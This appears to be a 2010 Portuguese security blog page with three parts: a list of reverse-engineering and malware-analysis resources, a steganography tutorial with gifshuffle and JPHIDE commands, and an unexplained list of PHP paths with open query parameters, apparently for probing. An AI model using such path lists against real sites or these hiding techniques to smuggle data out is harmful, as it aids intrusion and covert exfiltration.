/links.php?c=
/forums.php?m=
/list.php?c=
/journal.php?m=
/user.php?xoops_redirect=
/index.php?id=

Acessando Phpmyadmin

domingo, 22 de agosto de 2010

Engenharia Reversa e Malware Analysis

Individuais

Skywing - http://www.nynaeve.net/
Egypt - http://0xegypt.blogspot.com/
Yoni - http://blogs.msdn.com/michael_howard/
Raymond Chen - http://blogs.msdn.com/oldnewthing/
Sia0 - http://blogs.msdn.com/michkap/
Rob P - http://geekswithblogs.net/robp/Default.aspx
Quantam - http://qstuff.blogspot.com/
Phn1x - http://hamsterswheel.com/techblog/
Halavar Flake - http://addxorrol.blogspot.com/
Pedram - http://pedram.redhive.com/blog
Tyler Shields - http://www.donkeyonawaffle.org/
Wesley Shields - http://www.atarininja.org/
Peter Wieland - http://blogs.msdn.com/peterwie/
Michael Howard - http://blogs.msdn.com/michael_howard/
Doron Holan - http://blogs.msdn.com/doronh/
Nico Waisman - http://eticanicomana.blogspot.com/
Dmitry Vostokov - http://www.dumpanalysis.org/blog/
Nicolas Sylvain - http://nsylvain.blogspot.com/
Alex Ionescu - http://www.alex-ionescu.com/
Mattheiu Suiche - http://www.msuiche.net/
Larry Osterman - http://blogs.msdn.com/larryosterman/
Koby Kahane - http://kobyk.wordpress.com/
Jason Geffner - http://malwareanalysis.com/communityserver/blogs/geffner/default.aspx
Ero Carrera - http://blog.dkbza.org/
Dino Dai Zovi - http://blog.trailofbits.com/
Ilja - http://blogs.23.nu/ilja/
Nate Lawson - http://rdist.root.org/
Mark Russinovich - http://blogs.technet.com/markrussinovich/
Jose Nazario - http://www.wormblog.com/
Jonathan Morrison - http://blogs.msdn.com/itgoestoeleven/
John Robbins - http://www.wintellect.com/cs/blogs/jrobbins/default.aspx
Ilias Tsigkogiannis - http://blogs.msdn.com/iliast/
Daniel Reynaud - http://indefinitestudies.org/
Joanna Rutkowska - http://theinvisiblethings.blogspot.com/
Matthieu Kaczmarek - http://www.loria.fr/~kaczmare/index.en.htm
Silvio Cesare - http://silviocesare.wordpress.com/
Philippe Beaucamps - http://www.loria.fr/~beaucphi/
Debugging Toolbox - http://blogs.msdn.com/debuggingtoolbox/
Fravia's saved works (RIP) - http://www.woodmann.com/fravia/index.htm

Grupos

Offensive Computing - http://www.offensivecomputing.net/
The Cover of Night - http://www.thecoverofnight.com/blog/
LHS - http://lhs.loria.fr/
NT Debugging - http://blogs.msdn.com/ntdebugging/
Hex Blog - http://www.hexblog.com/
Engineering for Fun - http://blog.engineeringforfun.com/

Campanhia

OpenRCE - http://www.openrce.org/articles/
DV Labs - http://dvlabs.tippingpoint.com/blog/
Matasano - http://www.matasano.com/log/
VeraCode - http://www.veracode.com/blog/
Trend Micro - http://blog.trendmicro.com/

Forums

Reverse Engineering - http://community.reverse-engineering.net/index.php
OpenRCE - http://www.openrce.org/forums/
Assembly Forums - http://www.asmcommunity.net/board/
Reverse Engineering - http://www.re-b.net/  # Amigo Unn4

Sandboxing e Análise

Joe Box - http://www.joebox.org/
Virus Total - http://www.virustotal.com/
Wepawet - http://wepawet.cs.ucsb.edu/
F-Secure - http://www.f-secure.com/en_US/security/security-lab/
Anubis - http://anubis.iseclab.org/
Jotti - http://virusscan.jotti.org/en
Sunbelt CWSandbox - http://www.sunbeltsecurity.com/Submit.aspx?type=cwsandbox&cs=A41CD150B37359889A553671CBFD2360

quinta-feira, 19 de agosto de 2010

Esteganografia


Esteganografia (do grego "escrita escondida") é o estudo e uso das técnicas para ocultar a existência de uma mensagem dentro de outra. Em outras palavras, esteganografia é o ramo particular da criptologia que consiste em fazer com que uma forma escrita seja camuflada em outra a fim de mascarar o seu verdadeiro sentido.

É importante frisar a diferença entre criptografia e esteganografia. Enquanto a primeira oculta o significado da mensagem, a segunda oculta a existência da mensagem.

Um exemplo básico de técnica moderna de esteganografia é a alteração do bit menos significativo de cada pixel de uma imagem colorida de forma a que ele corresponda a um bit da mensagem. Essa técnica, apesar de não ser ideal, pouco afeta o resultado final de visualização da imagem.

Imagens

Muitas técnicas modernas possibilitam esconder informações dentro de imagens:

A forma mais utilizada emprega a técnica denominada LSB (Least Significant Bit), que consiste em utilizar o bit menos significativo de uma determinada informação para armazenar um bit de uma nova informação. No caso de uma imagem com profundidade de cor de 24 bits, um bit de uma nova informação pode ser armazenado no bit menos significativo de cor dos pixels, ou seja, o bit menos significativo dos 24. Assim, considerando o valor dos caracteres em binário da palavra "Wikipedia": W(01010111), i(01101001), k(01101011), i(01101001), p(01110000), e(01100101), d(01100100), i(01101001), a(01100001). Na forma apresentada, a palavra "Wikipedia" é representada utilizando 72 bits. Sendo assim, precisaremos de uma imagem com no mínimo 72 pixels. Para armazenar a letra 'W', iremos utilizar o bit menos significativo de cor dos 8 primeiros pixels. O primeiro bit do caracter 'W' é 1, se o bit menos significativo do primeiro pixel for 1, o valor é mantido, caso contrário é trocado para 1. Caso o bit a ser armazenado tenha valor 0, por exemplo o quarto bit do caractere 'W', a mesma regra é usada, se o bit menos significativo do quarto pixel for 0, o valor é mantido, caso contrário é trocado. Este procedimento deve ser repetido por todos os bits de cada caractere. No fim teremos uma imagem armazenando a palavra "Wikipedia" com ruído de 1 bit por pixel. Para extrair a informação da imagem, basta fazer o processo reverso. Leia o valor de cor cada pixel e armazene apenas o bit menos significativo. Provavelmente, será necessário armazenar o pixel que termina a informação.

É possível armazenar mais que um bit por pixel, porém isto aumentará o ruído da imagem. Uma maneira de armazenar mais informação, por exemplo, é armazenar um bit da nova informação no bit menos significativo de cada cor do pixel. Numa imagem RGB de 24 bit, as cores vermelho, verde e azul são representadas utilizando 8 bit cada uma. O mesmo processo apresentado anteriormente pode ser realizado para cada cor do pixel. Assim serão armazenados 3 bits por pixel.

Utilização

A esteganografia inclui um vasto conjunto de métodos para comunicações secretas desenvolvidos ao longo da história. Dentre tais métodos, estão: tintas “invisíveis”, micropontos, arranjo de caracteres (character arrangement), assinaturas digitais, canais escondidos (covert channels), comunicações por espalhamento de espectro (spread spectrum communications), entre outras.

A esteganografia possui algumas aplicações práticas interessantes. Ela é uma das técnicas utilizadas para implementar mecanismos de verificação de direitos autorais em imagens e outras mídias. Além disso, pode ser utilizada para a divulgação de mensagens sem o conhecimento da existência dessas mensagens por parte de outros interessados. Um exemplo é a inserção de mensagem de texto em uma figura em formato GIF, usando o programa Gifshuffle, disponível para Linux e Windows e distribuído livremente.

Gifshuffle é um software usado para inserir mensagens de texto em imagens formato GIF, deixando-as "visualmente inalteradas", ou seja: sem modificá-las perceptivelmente.

O processo, esteganografia do mapa de cores GIF, pode ser usado em imagens com transparência e animação, além de poder comprimir e criptografar o texto inserido.

Exemplo:
gifshuffle [ -CQS1 ] [ -p senha] [ -f arquivo | -m mensagem ] [ Original.gif [ Destino.gif ]]

O seguinte comando irá esconder a mensagem "Blog do Bhior" no arquivo Original.gif , com compressão e criptografado com a senha "Remote-Execution". O texto resultante será armazenado em Destino.gif.

gifshuffle -C -m "Blog do Bhior" -p "Remote-Execution" Orginal.gif Destino.gif

Para extrair a mensagem:
gifshuffle -C -p "Remote-Execution" Destino.gif


JPHIDE e JPSEEK são programas que permitem que você esconda um arquivo em uma imagem jpeg visual. Há uns lotes das versões dos programas similares disponíveis na internet, mas JPHIDE e JPSEEK são bastante especiais. O objetivo do projeto não era simplesmente esconder um arquivo mas fazer isto de tal forma que é impossível provar que o arquivo host contém um arquivo oculto. Dado uma imagem visual típica, uma taxa de inserção baixa (abaixo de 5%) ea ausência do arquivo original, não é possível concluir com certeza vale a pena que o arquivo host contém os dados inseridos. Como a porcentagem de inserção aumenta a natureza estatística dos coeficientes jpeg difere do "normal" na medida em que levanta a suspeita. Acima de 15% os efeitos começam a tornar-se visível a olho nu. É claro que algumas imagens são muito melhores do que outros.

Técnicas de esteganografias podem ser empregadas em diversos meios, digitais ou não:
* Textos
* Imagens
* Áudios
* Vídeos
* Etc...

Vídeo "JPHS": 
Tamanho: 13.5 mb
Duração: 3:46 m
Formato: .rar (Avi)
Musica: Skank - Jakie tequila
Baixar: http://www.4shared.com/file/Z1vLHrnt/esteganografia.html




Baixar os Programas:
JPHS linux: ftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs-0.3.tgz
JPHS windows: ftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs_05.zip
Gifshuffle Linux: http://www.darkside.com.au/gifshuffle/gifshuf.zip
Gifshuffle Windows: http://www.darkside.com.au/gifshuffle/gswin.zip 

Ref:
http://pt.wikipedia.org/wiki/Gifshuffle
http://linux01.gwdg.de/~alatham/stego.html?neves
http://www.darkside.com.au/gifshuffle/
http://pt.wikipedia.org/wiki/Esteganografia

 

Subscribe to our Newsletter

Contact our Support

Email us: youremail@gmail.com

Our Team Memebers